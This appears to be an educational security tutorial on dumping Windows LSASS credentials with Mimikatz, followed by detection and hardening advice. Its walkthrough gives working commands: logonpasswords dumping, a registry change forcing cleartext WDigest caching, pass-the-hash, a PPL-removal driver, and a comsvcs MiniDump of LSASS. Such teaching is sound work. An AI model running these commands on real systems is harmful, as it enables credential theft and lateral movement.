Disclaimer
This article is written strictly for education and authorized security testing. Only run these techniques against systems you own or for which you have explicit, written permission to test. Dumping credentials from LSASS on a machine you do not control is a crime in most jurisdictions. You are responsible for your own actions.
Introduction / Overview
Mimikatz, written by Benjamin Delpy (gentilkiwi), is still the canonical tool for post-exploitation credential access on Windows. After you land a foothold and elevate to local administrator, Mimikatz lets you harvest the secrets that live in the Local Security Authority Subsystem Service (LSASS) process: cleartext passwords, NTLM hashes, and Kerberos tickets.
In this article you will learn:
- How LSASS stores credentials and why
sekurlsa::logonpasswordsworks. - The role of the legacy WDigest provider in exposing cleartext passwords.
- How attackers bypass LSA Protection (RunAsPPL) and what that costs them.
- How a blue team detects and prevents all of the above.
This maps to MITRE ATT&CK T1003.001 (OS Credential Dumping: LSASS Memory).
How it works / Background
When a user authenticates interactively, Windows caches authentication material in the memory of lsass.exe so the user is not prompted again for network resources (single sign-on). Different Security Support Providers (SSPs) keep their own copies:
- WDigest (
wdigest.dll) historically kept the cleartext password in memory for HTTP Digest / SASL auth. - Kerberos keeps tickets and, in some configurations, keys.
- MSV1_0 keeps the NTLM hash.
- TSpkg, LiveSSP, and CredSSP keep their own material.
The sekurlsa module reads LSASS memory directly, locates these provider structures, and decrypts the protected blobs using keys (3DES/AES) that LSASS itself holds in memory. sekurlsa::logonpasswords walks every logon session and dumps whatever each SSP cached.
On modern Windows (8.1+/Server 2012 R2+ with the relevant update, and Windows 10/11 by default) WDigest no longer stores cleartext unless explicitly re-enabled, so a default dump usually yields NTLM hashes rather than plaintext.
Prerequisites / Lab setup
You need:
- A Windows VM you control (Windows 10/11 or Server 2019/2022). Never test on production.
- Local administrator rights (Mimikatz needs
SeDebugPrivilegeto read LSASS). - Microsoft Defender / your EDR temporarily disabled in the lab, or an exclusion path — Defender flags
mimikatz.exeinstantly. - A copy of Mimikatz from the official repo.
Drop credentials onto the box first so there is something to dump (log in with a domain or local account at the console / via RDP).
Attack walkthrough / PoC
1. Enable debug privilege and confirm context
Launch an elevated cmd.exe, then run Mimikatz:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::whoami
privilege::debug enables SeDebugPrivilege, which is required to open a handle to lsass.exe with PROCESS_VM_READ.
2. Dump logon passwords
mimikatz # sekurlsa::logonpasswords
Typical output per session:
Authentication Id : 0 ; 515432
Session : Interactive from 1
User Name : alice
Domain : CORP
msv :
[00000003] Primary
* NTLM : 64f12cddaa88057e06a81b54e73b949b
* SHA1 : cba4e545b7ec918129725154b29f055e4cf99730
wdigest :
* Password : (null)
kerberos :
* Password : (null)
On a default Windows 10/11 install you get the NTLM hash but wdigest shows (null).
3. Force WDigest to cache cleartext
The relevant registry value is:
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
UseLogonCredential (REG_DWORD)
Setting it to 1 re-enables cleartext caching:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f
The change applies to new logon sessions. Wait for the user to re-authenticate (lock/unlock, RDP, runas, or a scheduled task) and re-run sekurlsa::logonpasswords — wdigest will now show the cleartext password. This is loud and persistent, so treat it as a last resort.
4. Pass-the-hash with the recovered NTLM
Even without cleartext, the NTLM hash is enough for lateral movement:
mimikatz # sekurlsa::pth /user:alice /domain:CORP /ntlm:64f12cddaa88057e06a81b54e73b949b /run:cmd.exe
This spawns a process whose NTLM authentication uses the supplied hash — see Pass-the-Hash and Lateral Movement for chaining this further.
5. Bypassing LSA Protection (RunAsPPL)
If the defender enabled LSA Protection, LSASS runs as a Protected Process Light (PPL) and your admin handle to it is stripped of read rights. sekurlsa::logonpasswords then fails with:
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
The mimikatz-native bypass uses its signed driver, mimidrv.sys, to remove the protection flag from the kernel EPROCESS structure:
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # sekurlsa::logonpasswords
!+ installs mimidrv.sys (this needs SeLoadDriverPrivilege and unsigned-driver tolerance — on a fully patched, Secure-Boot/HVCI machine, loading the driver is itself blocked). Other public approaches use a vulnerable signed driver (a BYOVD attack) or PPLKiller / gsudo style techniques. None of these are quiet: kernel driver loads generate clear telemetry.
An alternative that avoids the driver entirely is to dump LSASS to a file with a tool that has the needed handle (or via a process-snapshot API) and parse it offline:
# Living-off-the-land dump via Task Manager API surface (comsvcs.dll)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full
Then parse offline so Mimikatz never touches LSASS on the victim:
mimikatz # sekurlsa::minidump C:\temp\lsass.dmp
mimikatz # sekurlsa::logonpasswords
Note: offline parsing still fails against a PPL-protected LSASS because the dumping tool also cannot read protected memory — PPL protects the dump path too.
Mermaid diagram

Text version: gain admin, enable debug privilege, check for LSA Protection; if unprotected read LSASS directly, otherwise attempt a driver bypass that HVCI may block; then harvest hashes and optionally cleartext via WDigest, or move laterally with pass-the-hash.
Detection & Defense (Blue Team)
Defense matters as much as the attack. Layer these controls:
1. Enable LSA Protection (RunAsPPL). Forces LSASS to run as a Protected Process Light so even SYSTEM-level handles cannot read its memory without a kernel bypass.
HKLM\SYSTEM\CurrentControlSet\Control\Lsa
RunAsPPL (REG_DWORD) = 1
RunAsPPLBoot (REG_DWORD) = 1 ; UEFI-locked, Win11 22H2+
On Windows 11 22H2+ this is enabled by default for new installs.
2. Block WDigest cleartext. Explicitly set UseLogonCredential = 0 (and monitor for it flipping to 1 — that change is a high-fidelity attack signal).
3. Enable Credential Guard. Virtualization-Based Security (VBS) isolates NTLM hashes and Kerberos TGTs in a VTL1 secure world (LSAIso) that LSASS in VTL0 cannot read, neutralizing sekurlsa::logonpasswords for those secrets entirely. Requires HVCI / Secure Boot.
4. Stop the driver bypass. Enable HVCI (Memory Integrity) and Microsoft's Vulnerable Driver Blocklist to break mimidrv.sys and BYOVD loads.
5. Detection / hunting:
- Sysmon Event ID 10 (ProcessAccess): alert on
TargetImageending inlsass.exewithGrantedAccessof0x1010,0x1410, or0x143a— classic LSASS read masks. - Security Event 4673/4703: sensitive-privilege use (
SeDebugPrivilege). - Security Event 4688:
rundll32.exe ... comsvcs.dll, MiniDumpand unexpectedmimikatzcommand lines. - Watch the WDigest registry key for
UseLogonCredentialwrites (Sysmon Event 13).
Sysmon Event 10:
SourceImage: C:\tools\mimikatz.exe
TargetImage: C:\Windows\System32\lsass.exe
GrantedAccess: 0x1410
6. Reduce blast radius: enforce LAPS for local admin passwords, restrict Tier-0 admin logons to hardened jump hosts, and limit lateral movement with the principles in Active Directory Tiering and PAW Design.
Conclusion
Mimikatz remains effective because credential caching is a feature, not a bug. sekurlsa::logonpasswords reliably yields NTLM hashes; WDigest can leak cleartext when UseLogonCredential is set; and LSA Protection is only a real obstacle when paired with HVCI and Credential Guard. As a defender, layering RunAsPPL, Credential Guard, the driver blocklist, and Sysmon LSASS-access detection turns a trivial dump into a noisy, often-blocked operation. As an attacker, the lesson is the same in reverse: know which protections are present before you reach for the driver.
References
- MITRE ATT&CK — T1003.001 OS Credential Dumping: LSASS Memory — https://attack.mitre.org/techniques/T1003/001/
- Mimikatz (gentilkiwi) — https://github.com/gentilkiwi/mimikatz
- Microsoft — Configuring Additional LSA Protection (RunAsPPL) — https://learn.microsoft.com/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection
- Microsoft — How Windows Defender Credential Guard works — https://learn.microsoft.com/windows/security/identity-protection/credential-guard/
- Microsoft — Vulnerable Driver Blocklist — https://learn.microsoft.com/windows/security/application-security/application-control/
- HackTricks — Stealing Credentials / Mimikatz — https://book.hacktricks.xyz/



Comments